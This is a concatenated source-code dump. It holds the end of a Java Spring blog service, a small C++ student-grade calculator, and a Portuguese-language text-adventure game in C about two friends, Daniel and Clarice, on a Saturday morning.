List<Article> latestArticles = articleDao.selectLatestArticles(8);
latestArticles.forEach((a) -> {
sideInfoItems.add(new SideInfoItem(a.getPubId(), a.getDraft().getTitle(), null));
});
return sideInfoItems;
}
@Override
public List<SideInfoItem> getPopularPublishedArticle() {
final String key = "pub_articles_rank:";
List<SideInfoItem> sideInfoItems = new ArrayList<>();
Set<ZSetOperations.TypedTuple<String>> tuples = redisOperator.zrevrange(key, 0, 9);
tuples.forEach(stringTypedTuple -> {
if (stringTypedTuple.getScore() > 0) {
String info[] = stringTypedTuple.getValue().split(":");
Long id = Long.parseLong(info[0]);
String name = articleDao.selectArticleTitleByPubId(id);
Double score = stringTypedTuple.getScore();
sideInfoItems.add(new SideInfoItem(id, name, score));
}
});
return sideInfoItems;
}
/**
* @return List<SideInfoItem>
*/
@Override
public List<SideInfoItem> getCategoriesInfo() {
List<SideInfoItem> sideInfoItems = new ArrayList<>();
PageHelper.startPage(1, 8);
List<Category> categories = categoryDao.selectCategoriesOrderByIncludedArticles();
categories.forEach((category) -> {
if (category.getNumberOfIncludedPubArticles() > 0) {
sideInfoItems.add(
new SideInfoItem(
category.getId(),
category.getName(),
(double) category.getNumberOfIncludedPubArticles()
));
}
}
);
return sideInfoItems;
}
}
<file_sep>package com.evan.blog.model.enums;
public enum UserLevel {
Admin("Admin", 3), VIP("VIP", 1), Common("Common", 0);
private String name;
private int levelcode;
UserLevel(String name, int levelcode) {
this.name = name;
this.levelcode = levelcode;
}
public int getLevelcode() {
return levelcode;
}
public static UserLevel getUserLevel(int levelcode) {
switch (levelcode) {
case 3: return Admin;
case 1: return VIP;
case 0: return Common;
default: return null;
}
}
@Override
public String toString() {
return name + "(" + levelcode + ")";
}
}
| a68d106a6e294b0eb3f63eed256b3b5f395b1d11 | [
"Markdown",
"Java"
] | 27 | Java | tanbinh123/FanBlog-Backend-SpringBoot | a06b72d986362fe109defefc0bc6fced7a1c7569 | 77512ac3a6e6a0e1fbd4bd6593196aeadca348d8 |
refs/heads/master | <repo_name>thebenjiman/StudentGrade<file_sep>/StudentGrade/grade.h
//
// grade.h
// StudentGrade
//
// Created by <NAME> on 23/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __StudentGrade__grade__
#define __StudentGrade__grade__
#include <vector>
#include "StudentInfo.h"
double grade(double, double, double);
double grade(double, double, const std::vector<double>&);
double grade(const StudentInfo&);
#endif /* defined(__StudentGrade__grade__) */
<file_sep>/StudentGrade/grade.cpp
//
// grade.cpp
// StudentGrade
//
// Created by <NAME> on 23/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "grade.h"
#include "median.h"
using namespace std;
double grade(double midterm, double final, double homework)
{
return 0.2 * midterm + 0.4 * final + 0.4 * homework;
}
double grade(double midterm, double final, const vector<double>& homework)
{
if(homework.size() == 0)
{
throw domain_error("Student has done no homework");
}
return grade(midterm, final, vector_median(homework));
}
double grade(const StudentInfo& student)
{
return grade(student.midterm, student.final, student.homework);
}
<file_sep>/StudentGrade/median.cpp
//
// median.cpp
// StudentGrade
//
// Created by <NAME> on 22/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "median.h"
#include <vector>
#include <algorithm>
using namespace std;
typedef vector<double>::size_type double_vector_size;
double vector_median(vector<double> numbers)
{
double_vector_size size = numbers.size();
if(size != 0)
{
sort(numbers.begin(), numbers.end());
double_vector_size middle = size / 2;
return size % 2 == 0 ? ((numbers[middle] + numbers[middle - 1]) / 2) : numbers[middle];
}
else
{
throw domain_error("cannot calculate median of empty vector");
}
}
<file_sep>/StudentGrade/median.h
//
// median.h
// StudentGrade
//
// Created by <NAME> on 22/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __StudentGrade__median__
#define __StudentGrade__median__
#include <vector>
double vector_median(std::vector<double>);
#endif /* defined(__StudentGrade__median__) */
<file_sep>/StudentGrade/StudentInfo.h
//
// StudentInfo.h
// StudentGrade
//
// Created by <NAME> on 22/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __StudentGrade__StudentInfo__
#define __StudentGrade__StudentInfo__
#include <vector>
#include <string>
struct StudentInfo
{
std::string name;
double midterm, final;
std::vector<double> homework;
};
bool compare(const StudentInfo&, const StudentInfo&);
bool did_all_homework(const StudentInfo&);
std::istream& read_student(std::istream&, StudentInfo&);
std::istream& read_homework(std::istream&, std::vector<double>&);
#endif /* defined(__StudentGrade__StudentInfo__) */
<file_sep>/StudentGrade/StudentInfo.cpp
//
// StudentInfo.cpp
// StudentGrade
//
// Created by <NAME> on 22/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "StudentInfo.h"
#include <iostream>
#include <vector>
using namespace std;
istream& read_homework(istream& in, vector<double>& homework)
{
if(in)
{
homework.clear();
double x;
while(in >> x)
{
homework.push_back(x);
}
in.clear();
}
return in;
}
istream& read_student(istream& in, StudentInfo& student)
{
in >> student.name >> student.midterm >> student.final;
read_homework(in, student.homework);
return in;
}
bool compare(const StudentInfo& x, const StudentInfo& y)
{
return x.name < y.name;
}
bool did_all_homework(const StudentInfo& student)
{
return (find(student.homework.begin(), student.homework.end(), 0) == student.homework.end());
}
<file_sep>/StudentGrade/main.cpp
//
// main.cpp
// StudentGrade
//
// Created by <NAME> on 22/10/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include <iostream>
#include <iomanip>
#include "grade.h"
#include "StudentInfo.h"
using namespace std;
typedef vector<StudentInfo> StudentInfoContainer;
bool failing_grade(const StudentInfo& s)
{
return grade(s) < 60;
}
bool successing_grade(const StudentInfo& s)
{
return !failing_grade(s);
}
StudentInfoContainer extract_fails(StudentInfoContainer& students)
{
StudentInfoContainer::iterator iterator = stable_partition(students.begin(), students.end(), successing_grade);
StudentInfoContainer output(iterator, students.end());
students.erase(iterator, students.end());
return output;
}
void print_results(const StudentInfoContainer students, const string::size_type& maxlength)
{
for(StudentInfoContainer::size_type i = 0; i < students.size(); ++i)
{
StudentInfo student = students[i];
cout << student.name << string(maxlength + 1 - student.name.size(), ' ');
try
{
double total = grade(student);
streamsize precision = cout.precision();
cout << setprecision(3) << total << setprecision((int)precision);
}
catch(domain_error e)
{
cout << e.what();
}
cout << endl;
}
}
int main(int argc, const char * argv[])
{
StudentInfo record;
StudentInfoContainer students;
string::size_type maxlength = 0;
while(read_student(cin, record))
{
cout << "Successfully read information for " << record.name << endl;
maxlength = max(maxlength, record.name.size());
students.push_back(record);
}
sort(students.begin(), students.end(), compare);
StudentInfoContainer failed = extract_fails(students);
cout << "Passed students: " << endl;
print_results(students, maxlength);
cout << endl << "Failed students: " << endl;
print_results(failed, maxlength);
return 0;
}
| f076992c3195722c809c167ab9d7521b7da8622f | [
"C++"
] | 7 | C++ | thebenjiman/StudentGrade | dccfab7f79e22a60f6a32d8c54358d0a8e5455ca | 6db3ba45a995144fedb27658ffc7b0d27d71447f |
refs/heads/master | <repo_name>Mathousbr/RPG-Text-based<file_sep>/Imagine.c
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
void finalizeid()
{
system("cls");
fflush(stdin);
}
main()
{
int id, var[5];
char escolha;
int daniel, clarice, rony;
id = 1;
var[0] = 0;
var[1] = 0;
var[2] = 0;
var[3] = 0;
var[4] = 0;
var[5] = 0;
escolha = ' ';
daniel = 0;
clarice = 0;
rony = 0;
system("cls");
printf("\"27 dias,\n");
Sleep(2000);
printf("27 boas oportunidade perdi,\n");
Sleep(3000);
printf("so sei que estou aqui,\n");
Sleep(2000);
printf("sozinho,\n");
Sleep(2000);
printf("esperando ela.\n");
Sleep(3000);
printf("Ela vira,\n");
Sleep(2000);
printf("ela existe.\n");
Sleep(2000);
printf("Sei que uma hora entenderei por que estou aqui.\n");
Sleep(4000);
printf("Mais um dia, \n");
Sleep(2000);
printf("mais outra oportunidade, \n");
Sleep(3000);
printf("e nada melhor que sonhar com os ceus...\"\n");
Sleep(4000);
printf("\nDIGITE QUALQUER CARACTERE PARA COMEcAR\n");
escolha = getchar();
finalizeid();
while (1)
{
if (id == 1)
{
printf("? = Por que tens medo da escuridao?\n");
Sleep(3000);
printf("Por que continua lutando?\n");
Sleep(3000);
printf("Nao saberei por que existo,\n");
Sleep(2000);
printf("nem por que estarei com voce,\n");
Sleep(2000);
printf("so sei que uma hora estarei...\n");
Sleep(4000);
printf("\na.ACORDAR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 2;
}
finalizeid();
}
if (id == 2)
{
printf("Hey!\n");
Sleep(1000);
printf("Acorde!\n");
Sleep(2000);
printf("Vamos la...\n");
Sleep(2000);
printf("Ja sao 6:30, vamos nos atrasar novamente por sua culpa\n");
Sleep(3000);
printf("...\n");
Sleep(2000);
printf("Perae...\n");
Sleep(2000);
printf("Novamente aquele sonho?\n");
Sleep(3000);
printf("\na.CONTINUAR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 3;
}
finalizeid();
}
if (id == 3 && var[0] == 0)
{
printf("...\n");
Sleep(2000);
printf("Sim...\n");
Sleep(2000);
printf("Sem perguntas.\n");
Sleep(2000);
printf("\na.LEVANTAR\nb.CONTINUAR DEITADO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 4;
}
if (escolha == 'b')
{
id = 3;
var[0] = 1;
}
finalizeid();
}
if (id == 3 && var[0] == 1)
{
printf("Olhe como esta!\n");
Sleep(1000);
printf("Deitado e chorando\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Sei que nao quer pensar nisso, Dan, mas seria bom conversar mais comigo.\n");
Sleep(3000);
printf("Nao sei o que poderia fazer, mas sei que ha algo...\n");
Sleep(3000);
printf("\na.LEVANTAR\nb.CONTINUAR DEITADO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 4;
var[0] = 0;
}
if (escolha == 'b')
{
id = 3;
var[0] = 2;
}
daniel = 1;
finalizeid();
}
if (id == 3 && var[0] == 2)
{
printf("Entendo sua preocupacao, Clary,\n");
Sleep(1000);
printf("mas como voce mesma disse, nao sabe nem o que fazer\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("Nao tem o que fazer\n");
Sleep(3000);
printf("\na.LEVANTAR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 4;
var[0] = 0;
}
clarice = 1;
finalizeid();
}
if (id == 4)
{
if (daniel == 1)
{
printf("Daniel: Me de um tempinho\n");
Sleep(2000);
printf("So irei no banheiro e depois volto para me trocar\n");
}
else if (daniel == 0)
{
printf("Me de um tempinho\n");
Sleep(2000);
printf("So irei no banheiro e depois volto para me trocar\n");
}
Sleep(2000);
printf("\na.BANHEIRO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 5;
}
finalizeid();
}
if (id == 5)
{
printf("\"...\n");
Sleep(2000);
printf("Por que novamente?\n");
Sleep(2000);
printf("Sera loucura?!\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("Vou lavar logo o rosto e sair, antes que a Clary fale algo\"\n");
Sleep(3000);
printf("\na.QUARTO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 6;
}
clarice = 1;
finalizeid();
}
if (id == 6 && var[0] == 0)
{
printf("Clarice: Dan, esta melhor?\n");
Sleep(2000);
printf("\na.FALAR A VERDADE\nb.MENTIR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 6;
var[0] = 1;
}
if (escolha == 'b')
{
id = 6;
var[0] = 2;
}
daniel = 1;
finalizeid();
}
if (id == 6 && var[0] == 1)
{
printf("Daniel: Mais ou menos,\n");
Sleep(2000);
printf("mas nao se preocupe,\n");
Sleep(2000);
printf("tudo bem?\n");
Sleep(3000);
printf("Clarice: ...\n");
Sleep(2000);
printf("Tudo bem...\n");
Sleep(2000);
printf("\na.TROCAR DE ROUPA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 7;
var[0] = 0;
}
finalizeid();
}
if (id == 6 && var[0] == 2)
{
printf("Daniel: Sim sim.\n");
Sleep(2000);
printf("Obrigado por estar aqui.\n");
Sleep(3000);
printf("Clarice: Voce sabe que nao precisa agradecer.\n");
Sleep(3000);
printf("Sou sua amiga, lembra?\n");
Sleep(3000);
printf("\na.TROCAR DE ROUPA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 7;
var[0] = 0;
}
finalizeid();
}
if (id == 7)
{
printf("Daniel: Quais as aulas de hoje...\n");
Sleep(2000);
printf("\na.ESPERAR RESPOSTA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 8;
}
finalizeid();
}
if (id == 8)
{
printf("Clarice: ...\n");
Sleep(1000);
printf("So teremos Primeiros Socorros mesmo.\n");
Sleep(2000);
printf("Hoje e sabado, lembra?\n");
Sleep(2000);
printf("\na.IR CAMINHANDO PARA A COZINHA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 9;
}
finalizeid();
}
if (id == 9 && var[0] == 0)
{
printf("Daniel: Mas Primeiros Socorros so e de 9:30!\n");
Sleep(2000);
printf("Por que me acordou tao cedo entao?\n");
Sleep(2000);
printf("\na.PARAR E ESPERAR RESPOSTA\nb.CONTINUAR PROCURANDO ALGO PARA COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 9;
var[0] = 1;
}
if (escolha == 'b')
{
id = 9;
var[0] = 2;
}
finalizeid();
}
if (id == 9 && var[0] == 1)
{
printf("Clarice: ...\n");
Sleep(1000);
printf("E que queria passar um tempinho a mais com voce\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("Algum problema?\n");
Sleep(2000);
printf("Daniel: Claro que nao!\n");
Sleep(1000);
printf("Adoro sua amizade e sua presenca,\n");
Sleep(2000);
printf("sempre!\n");
Sleep(2000);
printf("Clarice: Claro\n");
Sleep(1000);
printf("Minha amizade...\n");
Sleep(2000);
printf("Mas va logo comer algo para irmos.\n");
Sleep(2000);
printf("\na.VOLTAR A PROCURAR COMIDA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 10;
var[0] = 0;
}
finalizeid();
}
if (id == 9 && var[0] == 2)
{
printf("Clarice: ...\n");
Sleep(1000);
printf("Agora nao faz diferenca.\n");
Sleep(2000);
printf("Va!\n");
Sleep(1000);
printf("Coma logo isso!\n");
Sleep(2000);
printf("\na.COMER A MACA QUE ENCONTROU\n");
escolha = getchar();
if (escolha == 'a')
{
id = 10;
var[0] = 0;
}
finalizeid();
}
if (id == 10)
{
printf("Daniel: ...\n");
Sleep(2000);
printf("Pronto!\n");
Sleep(1000);
printf("Ja comi algo...\n");
Sleep(2000);
printf("Vamos?\n");
Sleep(1000);
printf("Clarice: Vamos!\n");
Sleep(1000);
printf("\na.SAIR DE CASA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 11;
}
finalizeid();
}
if (id == 11)
{
printf("Daniel: ...\n");
Sleep(1000);
printf("Para um sabado de manha, ate que esta tudo muito calmo.\n");
Sleep(3000);
printf("Estou ficando surpreso com o estado da cidade...\n");
Sleep(2000);
printf("\na.ESPERAR RESPOSTA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 12;
}
finalizeid();
}
if (id == 12)
{
printf("Clarice: Verdade...\n");
Sleep(2000);
printf("Infelizmente Toldo esta em decadencia.\n");
Sleep(2000);
printf("Niguem esta mais ficando aqui por causa do nosso \"querido\" governador, que nem ao menos um poste arruma\n");
Sleep(4000);
printf("\na.CONTINUAR CONVERSANDO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 13;
}
finalizeid();
}
if (id == 13)
{
printf("Daniel: Mas em poucos meses ja serao as proximas eleicões.\n");
Sleep(3000);
printf("Por que ninguem acredita mais nesse lugar?\n");
Sleep(2000);
printf("\na.ESPERAR RESPOSTA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 14;
}
finalizeid();
}
if (id == 14 && var[0] == 0)
{
printf("Clarice: Ja deu o que tinha que dar...\n");
Sleep(2000);
printf("Voce ainda acredita na mudanca porque sempre esteve aqui e nao gostaria de perder tudo na sua vida.\n");
Sleep(4000);
printf("...\n");
Sleep(1000);
printf("Bem...\n");
Sleep(2000);
printf("Mais do que tinha que ja perdeu...\n");
Sleep(3000);
printf("\na.CONCORDAR\nb.DISCORDAR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 14;
var[0] = 1;
}
if (escolha == 'b')
{
id = 14;
var[0] = 2;
}
finalizeid();
}
if (id == 14 && var[0] == 1 && var[1] == 0)
{
printf("Daniel: ...\n");
Sleep(1000);
printf("Verdade...\n");
Sleep(1000);
printf("Mesmo assim as pessoas podiam acreditar mais na mudanca,\n");
Sleep(2000);
printf("deveriam parar de correr dos problemas!\n");
Sleep(3000);
printf("\na.CONTINUAR CONVERSANDO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 14;
var[0] = 1;
var[1] = 1;
}
finalizeid();
}
if (id == 14 && var[0] == 1 && var[1] == 1)
{
printf("Clarice: Da mesma forma que voce tenta resolver o problema desse seu sonho?!\n");
Sleep(3000);
printf("\na.RESPONDER CHATEADO\nb.ACEITAR RESPOSTA CALADO\nc.MUDAR DE ASSUNTO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 14;
var[0] = 1;
var[1] = 2;
}
if (escolha == 'b')
{
id = 14;
var[0] = 1;
var[1] = 3;
}
if (escolha == 'c')
{
id = 15;
var[0] = 0;
var[1] = 0;
}
finalizeid();
}
if (id == 14 && var[0] == 1 && var[1] == 2)
{
printf("Daniel: E diferente!\n");
Sleep(2000);
printf("Estamos falando de sonhos.\n");
Sleep(2000);
printf("Sonhos nao sao reais,\n");
Sleep(2000);
printf("nao mostram nada!\n");
Sleep(2000);
printf("Clarice: Nem por isso deveriam ser ignorados, nao acha?\n");
Sleep(3000);
printf("\na.<NAME>\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 0;
var[1] = 0;
}
finalizeid();
}
if (id == 14 && var[0] == 1 && var[1] == 3)
{
printf("Daniel: ...\n");
Sleep(1000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Olha...\n");
Sleep(2000);
printf("Falo isso por me preocupar com voce\n");
Sleep(2000);
printf("Mesmo assim me desculpe pela forma como falei.\n");
Sleep(3000);
printf("Daniel: Tudo bem.\n");
Sleep(2000);
printf("Te entendo...\n");
Sleep(2000);
printf("\na.MUDAR DE ASSUNTO\n\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 0;
var[1] = 0;
}
finalizeid();
}
if (id == 14 && var[0] == 2 && var[1] == 0)
{
printf("Daniel: Na verdade eu perdi tudo\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("Menos voce, Clary...\n");
Sleep(2000);
printf("\na.ESPERAR RESPOSTA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 14;
var[0] = 3;
}
finalizeid();
}
if (id == 14 && var[0] == 3 && var[1] == 0)
{
printf("Clary: Que fofo!!\n");
Sleep(2000);
printf("Merecia um beijo...\n");
Sleep(3000);
printf("\"Ate que eu gostaria\"\n");
Sleep(2000);
printf("\na.MUDAR DE ASSUNTO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 0;
}
finalizeid();
}
if (id == 15 && var[0] == 0)
{
printf("(Barulho de sinal escolar)\n");
Sleep(1000);
printf("Daniel: O sinal, Clary! Vamos correr!\n");
Sleep(1000);
printf("Clarice: Calma! Esta tao agoniado que esqueceu que ainda e cedo para a aula, nao e?\n");
Sleep(3000);
printf("Daniel: Verdade... Vamos para onde entao?\n");
Sleep(3000);
printf("Clary: Por mim tanto faz. Alguma ideia?\n");
Sleep(2000);
printf("\na.ENTRAR NO COLEGIO\nb.FICAR EMBAIXO DAS ARVORES\nc.VOLTAR PARA CASA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
}
if (escolha == 'b')
{
id = 15;
var[0] = 2;
}
if (escolha == 'c')
{
id = 15;
var[0] = 3;
}
finalizeid();
}
if (id == 15 && var[0] == 3 && var[1] == 0)
{
printf("Clarice: Onde voce pensa que vai?\n");
Sleep(3000);
printf("Daniel: Bem...\n");
Sleep(1000);
printf("Ia ali em casa dormir... Nada demais\n");
Sleep(2000);
printf("Clarice: Nada disso!\n");
Sleep(1000);
printf("Nao da tempo voltar\n");
Sleep(1000);
printf("...\n");
Sleep(2000);
printf("Fique um pouco comigo, va...\n");
Sleep(2000);
printf("Daniel: ...\n");
Sleep(1000);
printf("Tudo bem...\n");
Sleep(2000);
printf("\na.ENTRAR NO COLEGIO\nb.FICAR EMBAIXO DAS ARVORES\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
}
if (escolha == 'b')
{
id = 15;
var[0] = 2;
}
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 0)
{
printf("\"Como que aceitei acordar cedo e vir para aula antes mesmo da hora e em pleno sabado?\"\n");
Sleep(4000);
printf("Clarice: No que esta pensando, Dan?\n");
Sleep(2000);
printf("Daniel: Nada, nada...\n");
Sleep(1000);
printf("Clarice: Uhmm...\n");
Sleep(2000);
printf("\na.PERGUNTAR A CLARY O QUE FAZER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
var[1] = 1;
}
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 1 && var[2] == 0)
{
printf("Daniel: Nao sei para onde ir.\n");
Sleep(2000);
printf("Decide ai...\n");
Sleep(2000);
printf("Clary: Uhmm...\n");
Sleep(3000);
printf("Que tal procurar o Rony?\n");
Sleep(2000);
printf("\na.ACEITAR\nb.PROPOR IR PARA DEBAIXO DAS ARVORES\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
var[1] = 1;
var[2] = 1;
}
if (escolha == 'b')
{
id = 15;
var[0] = 1;
var[1] = 1;
var[2] = 1;
var[3] = 1;
var[4] = 2;
}
rony = 1;
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 1 && var[2] == 1 && var[3] == 0)
{
printf("Clarice: Ele deve estar no ginasio. Vamos?\n");
Sleep(2000);
printf("Daniel: O que ele estaria fazendo la?\n");
Sleep(2000);
printf("Clarice: Basquete. Esqueceu novamente que hoje e sabado?\n");
Sleep(3000);
printf("Daniel: Acordei cedo gracas a voce. Como esquecer?\n");
Sleep(2000);
printf("Clarice: Pare de reclamar e vamos...\n");
Sleep(2000);
printf("\na.ENTRAR NO GINASIO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
var[1] = 1;
var[2] = 1;
var[3] = 1;
}
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 1 && var[2] == 1 && var[3] == 1 && var[4] == 0)
{
printf("(Pessoas correndo e Bola quicando)\n");
Sleep(1000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Daniel: ...\n");
Sleep(1000);
printf("Clarice: Nao vejo ele...\n");
Sleep(2000);
printf("Daniel: Nem eu...\n");
Sleep(2000);
printf("Clarice: O que podemos fazer agora entao?\n");
Sleep(2000);
printf("\na.SO SAIR DO GINASIO\nb.PROPOR IR PARA DEBAIXO DAS ARVORES\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 1;
var[1] = 1;
var[2] = 1;
var[3] = 1;
var[4] = 1;
}
if (escolha == 'b')
{
id = 15;
var[0] = 1;
var[1] = 1;
var[2] = 1;
var[3] = 1;
var[4] = 2;
}
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 1 && var[2] == 1 && var[3] == 1 && var[4] == 1 && var[5] == 0)
{
printf("\"Que fome...\"\n");
Sleep(1000);
printf("Clarice: Ja entendi essa sua cara.\n");
Sleep(1000);
printf("Vamos comer, vamos...\n");
Sleep(1000);
printf("\na.ACEITAR COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 16;
var[0] = 0;
var[1] = 0;
var[2] = 0;
var[3] = 0;
var[4] = 0;
}
finalizeid();
}
if (id == 15 && var[0] == 1 && var[1] == 1 && var[2] == 1 && var[3] == 1 && var[4] == 2 && var[5] == 0)
{
printf("Daniel: Que tal irmos para debaixo das arvores?\n");
Sleep(2000);
printf("Clarice: Por mim tudo bem.\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Mas o que faremos la?\n");
Sleep(1000);
printf("Daniel: Dormir seria uma boa.\n");
Sleep(1000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Vou pensar no seu caso...\n");
Sleep(1000);
printf("\na.IR PARA DEBAIXO DAS ARVORES\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 2;
var[1] = 0;
var[2] = 0;
var[3] = 0;
var[4] = 0;
}
finalizeid();
}
if (id == 15 && var[0] == 2 && var[1] == 0)
{
printf("\"Por que tens medo da escuridao?\n");
Sleep(3000);
printf("Por que continuas lutando?\"\n");
Sleep(3000);
printf("Clarice: Esta pensando naquilo novamente, nao e?\n");
Sleep(3000);
printf("Daniel: ...\n");
Sleep(2000);
printf("Clarice: Deite-se aqui e relaxe, pode ser?\n");
Sleep(3000);
printf("Daniel: ...\n");
Sleep(1000);
printf("Tudo bem...\n");
Sleep(1000);
printf("Obrigado.\n");
Sleep(2000);
printf("Clarice: Nao precisa agradecer...\n");
Sleep(2000);
printf("\na.DEITAR-SE\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 2;
var[1] = 1;
}
finalizeid();
}
if (id == 15 && var[0] == 2 && var[1] == 1 && var[2] == 0)
{
printf("\"Clary sempre esteve ao meu lado\n");
Sleep(1000);
printf("Desde meus 9 anos, quando a conheci\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Adoro o carinho dela...\n");
Sleep(2000);
printf("Nao sei o que eu seria sem ela\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Tenho que parar de pensar assim\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("De uns dias para ca, esse meu sonho anda me fazendo pensar mais sobre eu e Clary\n");
Sleep(3000);
printf("Por que depois de 7 anos que fui comecar a gostar dela?\n");
Sleep(2000);
printf("Sera que tentar alguma coisa nos faria mal?\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Que fome...\n");
Sleep(2000);
printf("Mas o carinho dela nao me faz querer ficar aqui para sempre\n");
Sleep(2000);
printf("Temos tanto tempo ate a aula,\n");
Sleep(2000);
printf("nao faz mal ficar mais um pouco.\n");
Sleep(1000);
printf("Ou faz?\"\n");
Sleep(1000);
printf("\na.CONTINUAR DEITADO\nb.CHAMAR <NAME>\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 2;
var[1] = 1;
var[2] = 1;
}
if (escolha == 'b')
{
id = 15;
var[0] = 2;
var[1] = 1;
var[2] = 2;
}
finalizeid();
}
if (id == 15 && var[0] == 2 && var[1] == 1 && var[2] == 1 && var[3] == 0)
{
printf("\"Vou nao sair daqui\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Sei que estou me rendendo aos sentimentos, mas preciso pensar melhor\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Ela foi uma irma para mim...\n");
Sleep(2000);
printf("Seria errado fazer isso\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Desde que perdi meus pais, ela nao se afastou de mim\n");
Sleep(2000);
printf("Para o que fomos, somos irmaos...\n");
Sleep(2000);
printf("...\n");
Sleep(1000);
printf("Tenho que parar de pensar nisso antes que eu comece a chorar\"\n");
Sleep(3000);
printf("\na.FALAR COM CLARY\n");
escolha = getchar();
if (escolha == 'a')
{
id = 15;
var[0] = 2;
var[1] = 1;
var[2] = 1;
var[3] = 1;
}
finalizeid();
}
if (id == 15 && var[0] == 2 && var[1] == 1 && var[2] == 1 && var[3] == 1 && var[4] == 0)
{
printf("Daniel: Clary...\n");
Sleep(1000);
printf("Clarice: Sim?\n");
Sleep(1000);
printf("Daniel: ...\n");
Sleep(1000);
printf("Clarice: Algum problema, Dan?\n");
Sleep(1000);
printf("Daniel: Nao...\n");
Sleep(2000);
printf("Eu so comecei a lembrar dos nossos pais,\n");
Sleep(2000);
printf("mas nada demais...\n");
Sleep(2000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Nao pense muito.\n");
Sleep(1000);
printf("Voce sabe que estou sempre com voce\n");
Sleep(2000);
printf("Daniel: Eu sei...\n");
Sleep(1000);
printf("Obrigado por tudo.\n");
Sleep(2000);
printf("Espero um dia poder fazer algo por voce,\n");
Sleep(1000);
printf("da mesma maneira que faz tanto por mim ate hoje...\n");
Sleep(2000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Clarice: So quero sempre estar ao seu lado\n");
Sleep(1000);
printf("...\n");
Sleep(1000);
printf("Daniel: ...\n");
Sleep(1000);
printf("\"Eu tambem, Clary. Eu tambem\n");
Sleep(2000);
printf("Clarice: Vamos comer algo?\n");
Sleep(1000);
printf("Daniel: Vamos.\n");
Sleep(2000);
printf("\na.ACEITAR COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 16;
var[0] = 0;
var[1] = 0;
var[2] = 0;
var[3] = 0;
}
finalizeid();
}
if (id == 15 && var[0] == 2 && var[1] == 1 && var[2] == 2 && var[3] == 0)
{
printf("Daniel: Clary, vamos comer algo?\n");
Sleep(2000);
printf("Clarice: Pode ser\n");
Sleep(1000);
printf("Tambem estou ficando com fome...\n");
Sleep(2000);
printf("\na.IR COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 16;
var[0] = 0;
var[1] = 0;
var[2] = 0;
}
finalizeid();
}
if (id == 16)
{
printf("Clarice: Temos ainda uma meia hora ate a aula comecar...\n");
Sleep(2000);
printf("O que acha de irmos na Vera Loka?\n");
Sleep(2000);
printf("Daniel: Por mim tudo bem.\n");
